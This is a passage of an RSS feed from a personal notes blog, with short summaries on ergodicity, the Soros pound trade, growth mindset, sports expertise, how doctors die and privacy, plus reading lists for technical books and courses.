&lt;p&gt;Can a cell learn? When a part of the plasmodium touches something attractive, e.g. food, it pulses more quickly and widens. If a part meets something repulsive, like light, it pulses more slowly and shrinks.&lt;/p&gt;</description></item><item><title>What is Ergodicity?</title><link>https://www.curiosities.dev/mathematics/probability/2016-11-23-syll-what-is-ergodicity/</link><pubDate>Wed, 23 Nov 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/2016-11-23-syll-what-is-ergodicity/</guid><description>&lt;p&gt;A random process is ergodic if all of its statistics can be determined from a
sample function of the process. That is, the ensemble averages equal the
corresponding time averages with probability one.&lt;/p&gt;
&lt;h2 id="role-of-ergodicity-in-human-inference"&gt;Role of Ergodicity in Human Inference&lt;/h2&gt;
&lt;p&gt;A newspaper has previously printed some inaccurate information, therefore, the
newspaper is going to publish inaccurate information in the future. Fair;
ensemble of published articles is more or less ergodic.&lt;/p&gt;
&lt;p&gt;More crimes are committed by black persons than by white persons, therefore each
individual black person is not to be trusted? The ensemble of black people is
not at all ergodic!&lt;/p&gt;</description></item><item><title>The Trade of the Century: When George Soros Broke the British Pound [Priceonomics]</title><link>https://www.curiosities.dev/business/2016-06-17-when-soros-broke-the-british-pound/</link><pubDate>Fri, 17 Jun 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2016-06-17-when-soros-broke-the-british-pound/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Dhar2016'&gt;
 
 The Trade of the Century: When George Soros Broke the British Pound&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Rohin Dhar.
 
 
 
 
 &lt;a href="https://priceonomics.com/the-trade-of-the-century-when-george-soros-broke/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=priceonomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;priceonomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 17, 2016.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Before the EU, Europe had the ERM to fix their exchange rates with the Deutschmark within 6% of the agreed upon rate.&lt;/p&gt;
&lt;p&gt;Keeping the exchange rate fixed requires governments to nudge the rate, e.g.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use reserves of foreign currency to buy up their own currency&lt;/li&gt;
&lt;li&gt;Set high interest rates to entice lenders to buy their currency&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Margaret Thatcher (PM) opposed the fixed exchange rates but lost the vote to Major, an ERM proponent.&lt;/p&gt;</description></item><item><title>[Summary] (Paul Graham) Life is Short</title><link>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2016-01-01-pg-bullshit-minimizing-path/</link><pubDate>Fri, 01 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2016-01-01-pg-bullshit-minimizing-path/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Graham2016'&gt;
 
 Life is Short&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Paul Graham.
 
 
 
 
 
 &lt;a href="http://www.paulgraham.com/vb.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.paulgraham.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.paulgraham.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 1, 2016.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Some of it is our own fault (e.g. arguing online). Some of it is forced by circumstances that we choose to endure (e.g. unnecessary meetings at work)&lt;/p&gt;
&lt;p&gt;Choosing a bullshit minimizing path is error-prone. Your priorities change over time. Periodically evaluate where you are. It helps to have measurable aspects of your life.&lt;/p&gt;</description></item><item><title>Home</title><link>https://www.curiosities.dev/blog/2015-04-26-home/</link><pubDate>Sun, 26 Apr 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/blog/2015-04-26-home/</guid><description>&lt;p&gt;Today the sun is so angry that it has descended a few feet to prove its power.
Point noted. I adjust my baseball cap in self-defense.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Similar metaphor in 
&lt;a href="https://www.uncannymagazine.com/article/the-sin-of-america/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Catheryne Valente&amp;rsquo;s &amp;ldquo;The Sin of
America&amp;rdquo;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
: &lt;em&gt;There&amp;rsquo;s
a woman outside of a town called Sheridan, where the sky comes so near to earth
it has to use the crosswalk just like everyone else.&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Two people on a farm. The shirtless man ferociously stabs the ground thrice
before moving to his right. A girl jovially follows the steps of our warrior,
carefully placing two maize seeds and three bean seeds in each wound, and
dressing it up with a layer of earth.&lt;/p&gt;</description></item><item><title>[Summary] (Slate Star Codex) No Clarity Around Growth Mindset</title><link>https://www.curiosities.dev/personal_growth/letting_go/2015-04-08-ssc-no-clarity-around-the-growth-mindset/</link><pubDate>Wed, 08 Apr 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/letting_go/2015-04-08-ssc-no-clarity-around-the-growth-mindset/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Alexander2015'&gt;
 
 No Clarity Around Growth Mindset&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Scott Alexander.
 
 
 
 
 
 &lt;a href="https://slatestarcodex.com/2015/04/08/no-clarity-around-growth-mindset-yet/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=slatestarcodex.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;slatestarcodex.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Apr 8, 2015.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Growth mindset: people who believe effort - and not ability - determines success are more resilient, skillful, hard-working, perseverant in the face of failure.&lt;/p&gt;
&lt;p&gt;Most of the growth mindset experiments prime their subjects, but recent priming experiments have famously failed to replicate. Dweck&amp;rsquo;s experiment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Group A: easy test (success) -&amp;gt; final bound-to-fail test&lt;/li&gt;
&lt;li&gt;Group B: hard test (told they&amp;rsquo;re not working hard enough) -&amp;gt; final bound-to-fail test&lt;/li&gt;
&lt;li&gt;Group B outperformed Group A. Explanations:
&lt;ul&gt;
&lt;li&gt;Dweck: Telling As to work harder made them less helpless.&lt;/li&gt;
&lt;li&gt;Alternative: B&amp;rsquo;s are used to failing get less flustered than A&amp;rsquo;s who have been artificially made to succeed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In Dweck’s work, why do helpless children and the mastery-oriented children always start out performing at the same level? Shouldn&amp;rsquo;t the fixed-mindset kids already be underperforming? Why do we find enough fixed-mindset students at elite colleges?&lt;/p&gt;</description></item><item><title>[Summary] (Yudkowsky) Letting Go</title><link>https://www.curiosities.dev/personal_growth/letting_go/2015-12-01-yudkowsky-letting-go/</link><pubDate>Sun, 01 Feb 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/letting_go/2015-12-01-yudkowsky-letting-go/</guid><description>&lt;div class="citation" citation-icon-class='' cited-by-count='' is-main=''&gt;
 &lt;cite id='Yudkowsky2015'&gt;
 
 Rationality: From AI to Zombies: Letting Go&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Eliezer Yudkowsky.
 
 
 
 
 
 
 
 Feb 1, 2015.
 
 
 
 
 
 
&lt;/div&gt;

&lt;h2 id="learn-when-to-admit-failure"&gt;Learn when to admit failure&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s important to have a watershed moment and acknowledge a fundamental problem, instead of dividing it into palatable bite-size mistakes.&lt;/p&gt;
&lt;p&gt;LTCM were exploiting market inefficiencies. Other people learned of the tricks. LTCM didn&amp;rsquo;t lose hope. They borrowed more and more leverage to exploit tinier and tinier margins.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;And their math probably said the leverage was okay. Going belly up was a very unlikely event - according to the model. A systematic blindspot is devastating because we don&amp;rsquo;t even realize that we might be wrong at a more fundamental level.&lt;/p&gt;</description></item><item><title>[Summary] (SSC) The Parable of the Talents</title><link>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2015-01-31-ssc-the-principle-of-the-talents/</link><pubDate>Sat, 31 Jan 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2015-01-31-ssc-the-principle-of-the-talents/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Alexander2015'&gt;
 
 The Parable of the Talents&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Scott Alexander.
 
 
 
 
 
 &lt;a href="https://slatestarcodex.com/2015/01/31/the-parable-of-the-talents/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=slatestarcodex.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;slatestarcodex.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 31, 2015.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Overweight people, depressed people, and poor people aren’t fully to blame for their situation – and neither are unintelligent people. It’s accidents of birth all the way down.&lt;/p&gt;
&lt;p&gt;Srinivasa Ramanujan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grew up in poverty in a one-room house in small-town India.&lt;/li&gt;
&lt;li&gt;But a lot of poor people in the US had better conditions/opportunities
&lt;ul&gt;
&lt;li&gt;Either, a lot of intelligence is innate&lt;/li&gt;
&lt;li&gt;Or, those poor people are just not trying hard enough.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ramanujan worked very hard at math, but it seems he couldn&amp;rsquo;t do this for anything else.
&lt;ul&gt;
&lt;li&gt;He dropped out of school because of being made to study non-mathematical subjects.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I excelled at writing and sucked ass at Math despite working hard.&lt;/p&gt;</description></item><item><title>Privacy and Human Behavior in the Age of Information</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/2015-acquisti-privacy-and-human-behavior-in-information-age/</link><pubDate>Fri, 30 Jan 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/2015-acquisti-privacy-and-human-behavior-in-information-age/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-graduation-cap' cited-by-count='' is-main=''&gt;
 &lt;cite id='Acquisti2015'&gt;
 
 Privacy and Human Behavior in the Age of Information&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 A. Acquisti; L. Brandimarte; G. Loewenstein.
 
 Science, Vol. 347, Issue 6221, Page 509-514.
 
 
 
 
 
 Jan 30, 2015.
 
 
 
 &lt;i class='fas fa-fw fa-graduation-cap' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="peoples-uncertainty-about-the-consequences-of-privacy-related-behaviors-and-their-own-preferences-over-those-consequences"&gt;People&amp;rsquo;s uncertainty about the consequences of privacy-related behaviors and their own preferences over those consequences&lt;/h2&gt;
&lt;h3 id="incomplete-and-asymmetric-information"&gt;Incomplete and asymmetric information.&lt;/h3&gt;
&lt;p&gt;People rarely know what info others, firms and govts have about them or how the
info is used.&lt;/p&gt;</description></item><item><title>[ToDo] Game Programming Patterns</title><link>https://www.curiosities.dev/todo/computer-science/game-programming-patterns/</link><pubDate>Mon, 03 Nov 2014 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/game-programming-patterns/</guid><description>&lt;p&gt;Introduction&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Architecture, Performance and Games&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Design Patterns Revisited&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command&lt;/li&gt;
&lt;li&gt;Flyweight&lt;/li&gt;
&lt;li&gt;Observer&lt;/li&gt;
&lt;li&gt;Prototype&lt;/li&gt;
&lt;li&gt;Singleton&lt;/li&gt;
&lt;li&gt;State&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sequencing Patterns&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Double Buffer&lt;/li&gt;
&lt;li&gt;Game Loop&lt;/li&gt;
&lt;li&gt;Update Method&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Behavioral Patterns&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Component&lt;/li&gt;
&lt;li&gt;Event Queue&lt;/li&gt;
&lt;li&gt;Service Locator&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Optimization Patterns&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data Locality&lt;/li&gt;
&lt;li&gt;Dirty Flag&lt;/li&gt;
&lt;li&gt;Object Pool&lt;/li&gt;
&lt;li&gt;Spatial Partition&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Game Programming Patterns&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Nystrom R..
 
 
 
 
 &lt;a href="http://gameprogrammingpatterns.com/contents.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=gameprogrammingpatterns.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;gameprogrammingpatterns.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Nov 3, 2014.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>10,000 Hours +/- 10,000 Hours</title><link>https://www.curiosities.dev/sports/epstein-sports-gene/02-10k-hours-pm-10k-hours/</link><pubDate>Tue, 29 Apr 2014 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/epstein-sports-gene/02-10k-hours-pm-10k-hours/</guid><description>&lt;h2 id="10000-hours-ymmv"&gt;10,000 Hours, YMMV&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;
&lt;a href="https://www.curiosities.dev/sports/epstein-sports-gene/01-gene-free-model-of-expertise/#10000-hours"
 
 
 
 &gt;
 10,000 hours introduced here
 
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;10,000 hours has been lauded by popular authors, e.g. Malcolm Gladwel&amp;rsquo;s
&lt;em&gt;Outliers&lt;/em&gt;, and Geoff Colvin&amp;rsquo;s &lt;em&gt;Talent is Overrated&lt;/em&gt;. Notably, Ericsson has
dismissed the &amp;ldquo;10,000 hours rule&amp;rdquo; as misconstruing his positions: genetics play
a role; 10,000-hours of deliberate practice is not all that counts.
&lt;span class="citation-ref"&gt;&lt;a href="#Ericsson2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Most data in support of the 10,000-hours rule has been cross-sectional and
retrospective.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A cross-sectional study is a type of observational study that analyzes data from
a population (or a representative subset) at a specific point in time.&lt;/p&gt;</description></item><item><title>The Gene-Free Model of Expertise</title><link>https://www.curiosities.dev/sports/epstein-sports-gene/01-gene-free-model-of-expertise/</link><pubDate>Tue, 29 Apr 2014 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/epstein-sports-gene/01-gene-free-model-of-expertise/</guid><description>&lt;h2 id="reaction-times-are-overrated"&gt;Reaction Times are Overrated&lt;/h2&gt;
&lt;p&gt;Elite athletes do not display superior reaction times to those of average
people; most hover at 200ms.&lt;/p&gt;
&lt;p&gt;However, games are played at speeds where 200ms is too slow, e.g. 100-mph
baseballs, 130-mph tennis serves, etc.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A reaction time of less than 100ms is deemed a false start in track and field
sprints. &lt;span class="citation-ref"&gt;&lt;a href="#WikiFalseStart"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="superior-perception"&gt;Superior Perception&lt;/h2&gt;
&lt;p&gt;Athletes outperformed novices when asked if there was a ball in a rapidly
flashed slide. Some athletes could even tell the slide&amp;rsquo;s game! &lt;span class="citation-ref"&gt;&lt;a href="#Allard1980"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>[ToDo] Mining of Massive Datasets</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/mining-of-massive-datasets/</link><pubDate>Sat, 01 Mar 2014 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/mining-of-massive-datasets/</guid><description>&lt;p&gt;Data Mining&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is Data Mining?&lt;/li&gt;
&lt;li&gt;Statistical Limits of Data Mining&lt;/li&gt;
&lt;li&gt;Things Useful to Know&lt;/li&gt;
&lt;li&gt;Outline of the book&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MapReduce and the New Software Stack&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Distributed File Systems&lt;/li&gt;
&lt;li&gt;MapReduce&lt;/li&gt;
&lt;li&gt;Algorithms Using MapReduce&lt;/li&gt;
&lt;li&gt;Extensions to MapReduce&lt;/li&gt;
&lt;li&gt;The Communication Cost Model&lt;/li&gt;
&lt;li&gt;Complexity Theory for MapReduce&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finding Similar Items&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Applications of Near-Neighbor Search&lt;/li&gt;
&lt;li&gt;Shingling of Documents&lt;/li&gt;
&lt;li&gt;Similarity-Preserving Summaries of Sets&lt;/li&gt;
&lt;li&gt;Locality-Sensitive Hashing for Documents&lt;/li&gt;
&lt;li&gt;Distance Measures&lt;/li&gt;
&lt;li&gt;The Theory of Locality-Sensitive Functions&lt;/li&gt;
&lt;li&gt;LSH Families for Other Distance Measures&lt;/li&gt;
&lt;li&gt;Applications of Locality-Sensitive Hashing&lt;/li&gt;
&lt;li&gt;Methods for High Degrees of Similarity&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mining Data Streams&lt;/p&gt;</description></item><item><title>[ToDo] Think Bayes</title><link>https://www.curiosities.dev/todo/mathematics/think-bayes/</link><pubDate>Tue, 24 Sep 2013 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/think-bayes/</guid><description>&lt;ul&gt;
&lt;li&gt;Bayes&amp;rsquo;s Theorem&lt;/li&gt;
&lt;li&gt;Computational Statistics&lt;/li&gt;
&lt;li&gt;Estimation&lt;/li&gt;
&lt;li&gt;More Estimation&lt;/li&gt;
&lt;li&gt;Odds and Addends&lt;/li&gt;
&lt;li&gt;Decision Analysis&lt;/li&gt;
&lt;li&gt;Prediction&lt;/li&gt;
&lt;li&gt;Observer Bias&lt;/li&gt;
&lt;li&gt;Two Dimensions&lt;/li&gt;
&lt;li&gt;Approximate Bayesian Computation&lt;/li&gt;
&lt;li&gt;Hypothesis Testing&lt;/li&gt;
&lt;li&gt;Evidence&lt;/li&gt;
&lt;li&gt;Simulation&lt;/li&gt;
&lt;li&gt;A Hierarchical Model&lt;/li&gt;
&lt;li&gt;Dealing with Dimensions&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Think Bayes&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Downey, Allen.
 
 
 
 
 
 &lt;a href="https://proquest.safaribooksonline.com/9781491945407" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=proquest.safaribooksonline.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;proquest.safaribooksonline.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>[ToDo] CS 97SI: Introduction to Programming Contests</title><link>https://www.curiosities.dev/todo/computer-science/cs97si-intro-to-programming-contests/</link><pubDate>Thu, 01 Dec 2011 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/cs97si-intro-to-programming-contests/</guid><description>&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Mathematics&lt;/li&gt;
&lt;li&gt;Data Structures&lt;/li&gt;
&lt;li&gt;Dynamic Programming (DP)&lt;/li&gt;
&lt;li&gt;Combinatorial Games&lt;/li&gt;
&lt;li&gt;Basic Graph Algorithms&lt;/li&gt;
&lt;li&gt;Shortest Path Algorithms&lt;/li&gt;
&lt;li&gt;Network Flow Problems&lt;/li&gt;
&lt;li&gt;Computational Geometry&lt;/li&gt;
&lt;li&gt;String Algorithms&lt;/li&gt;
&lt;li&gt;Suffix Arrays&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CS 97SI: Introduction to Programming Contests&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Jaehyun Park.
 
 
 
 
 &lt;a href="http://stanford.edu/class/cs97si/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2011.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>How Doctors Die [Zocalo]</title><link>https://www.curiosities.dev/personal_growth/letting_go/2011-11-30-how-doctors-die/</link><pubDate>Wed, 30 Nov 2011 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/letting_go/2011-11-30-how-doctors-die/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Murray2011'&gt;
 
 How Doctors Die&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Ken Murray.
 
 
 
 
 &lt;a href="https://www.zocalopublicsquare.org/2011/11/30/how-doctors-die/ideas/nexus/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.zocalopublicsquare.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.zocalopublicsquare.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Nov 30, 2011.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Doctors tend to be fairly serene when faced with death themselves. They know enough about modern medicine to know its limits. They go gently into that good night - no heroics; no CPR.&lt;/p&gt;
&lt;p&gt;Sometimes, a family really means &amp;lsquo;do everything&amp;rsquo;, but often they mean &amp;lsquo;do everything that’s reasonable.&amp;rsquo; But they may not know what’s reasonable.&lt;/p&gt;</description></item><item><title>[ToDo] Networks, Crowds, and Markets</title><link>https://www.curiosities.dev/todo/computer-science/networks-crowds-and-markets/</link><pubDate>Thu, 01 Jul 2010 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/networks-crowds-and-markets/</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch01.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Overview
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Graph Theory and Social Networks&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch02.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Graphs
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch03.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 String and Weak Ties
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch04.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Networks in Their Surrounding Contexts
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch05.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Positive and Negative Relationships
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Game Theory&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch06.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Games
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch07.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Evolutionary Game Theory
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch08.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Modeling Network Traffic Using Game Theory
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch09.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Auctions
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Markets and Strategic Interaction in Networks&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch10.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Matching Markets
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch11.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Network Models of Markets with Intermediaries
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
